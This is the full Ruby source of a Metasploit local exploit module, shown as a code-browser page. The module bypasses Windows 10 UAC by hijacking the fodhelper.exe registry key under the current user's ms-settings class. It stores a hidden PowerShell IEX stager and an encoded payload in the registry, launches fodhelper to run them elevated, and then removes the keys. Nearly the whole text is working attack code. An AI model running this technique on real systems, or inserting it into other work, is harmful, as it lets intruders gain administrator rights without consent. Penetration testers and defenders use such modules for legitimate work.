Path: blob/master/modules/exploits/windows/local/bypassuac_fodhelper.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::Powershell9include Post::Windows::Priv10include Post::Windows::Registry11include Post::Windows::Runas1213FODHELPER_DEL_KEY = 'HKCU\\Software\\Classes\\ms-settings'.freeze14FODHELPER_WRITE_KEY = 'HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command'.freeze15EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze16EXEC_REG_VAL = ''.freeze # This maps to "(Default)"17EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze18FODHELPER_PATH = '%WINDIR%\\System32\\fodhelper.exe'.freeze19CMD_MAX_LEN = 163832021def initialize(info = {})22super(23update_info(24info,25'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',26'Description' => %q{27This module will bypass Windows 10 UAC by hijacking a special key in the Registry under28the current user hive, and inserting a custom command that will get invoked when29the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC30flag turned off.3132This module modifies a registry key, but cleans up the key once the payload has33been invoked.3435The module does not require the architecture of the payload to match the OS. If36specifying EXE::Custom your DLL should call ExitProcess() after starting your37payload in a separate process.38},39'License' => MSF_LICENSE,40'Author' => [41'winscriptingblog', # UAC bypass discovery and research42'amaloteaux', # MSF module43],44'Platform' => ['win'],45'SessionTypes' => ['meterpreter'],46'Targets' => [47[ 'Windows x86', { 'Arch' => ARCH_X86 } ],48[ 'Windows x64', { 'Arch' => ARCH_X64 } ]49],50'DefaultTarget' => 0,51'References' => [52['URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/'],53['URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'],54['URL', 'https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/']55],56'DisclosureDate' => '2017-05-12',57'Compat' => {58'Meterpreter' => {59'Commands' => %w[60stdapi_sys_process_execute61]62}63},64'Notes' => {65'Reliability' => UNKNOWN_RELIABILITY,66'Stability' => UNKNOWN_STABILITY,67'SideEffects' => UNKNOWN_SIDE_EFFECTS68}69)70)71end7273def check74version = get_version_info75if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled?76Exploit::CheckCode::Appears77else78Exploit::CheckCode::Safe79end80end8182def exploit83commspec = '%COMSPEC%'84registry_view = REGISTRY_VIEW_NATIVE85psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'8687# Make sure we have a sane payload configuration88if sysinfo['Architecture'] == ARCH_X6489if session.arch == ARCH_X8690# fodhelper.exe is x64 only exe91commspec = '%WINDIR%\\Sysnative\\cmd.exe'92if target_arch.first == ARCH_X6493# We can't use absolute path here as94# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session95psh_path = 'powershell.exe'96end97end98if target_arch.first == ARCH_X8699# Invoking x86, so switch to SysWOW64100psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'101end102elsif target_arch.first == ARCH_X64103# if we're on x86, we can't handle x64 payloads104fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')105end106107if !payload.arch.empty? && (payload.arch.first != target_arch.first)108fail_with(Failure::BadConfig, 'payload and target should use the same architecture')109end110111# Validate that we can actually do things before we bother112# doing any more work113check_permissions!114115case get_uac_level116when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,117UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,118UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT119fail_with(Failure::NotVulnerable,120"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")121when UAC_DEFAULT122print_good('UAC is set to Default')123print_good('BypassUAC can bypass this setting, continuing...')124when UAC_NO_PROMPT125print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')126shell_execute_exe127return128end129130payload_value = rand_text_alpha(8)131psh_path = expand_path(psh_path)132133template_path = Rex::Powershell::Templates::TEMPLATE_DIR134psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)135136if psh_payload.length > CMD_MAX_LEN137fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")138end139140psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""141cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"142143existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''144exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?145146if existing.empty?147registry_createkey(FODHELPER_WRITE_KEY, registry_view)148end149150print_status('Configuring payload and stager registry keys ...')151unless exist_delegate152registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)153end154155registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)156registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)157158# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.159cmd_path = expand_path(commspec)160cmd_args = expand_path("/c #{FODHELPER_PATH}")161print_status("Executing payload: #{cmd_path} #{cmd_args}")162163# We can't use cmd_exec here because it blocks, waiting for a result.164client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true })165166# Wait a copule of seconds to give the payload a chance to fire before cleaning up167# TODO: fix this up to use something smarter than a timeout?168Rex.sleep(5)169170handler(client)171172print_status('Cleaning up registry keys ...')173unless exist_delegate174registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)175end176if existing.empty?177registry_deletekey(FODHELPER_DEL_KEY, registry_view)178else179registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)180end181registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)182end183184def check_permissions!185fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?186187# Check if you are an admin188vprint_status('Checking admin status...')189admin_group = is_in_admin_group?190191unless check == Exploit::CheckCode::Appears192fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')193end194195unless is_in_admin_group?196fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')197end198199print_status('UAC is Enabled, checking level...')200if admin_group.nil?201print_error('Either whoami is not there or failed to execute')202print_error('Continuing under assumption you already checked...')203elsif admin_group204print_good('Part of Administrators group! Continuing...')205else206fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')207end208209if get_integrity_level == INTEGRITY_LEVEL_SID[:low]210fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')211end212end213end214215216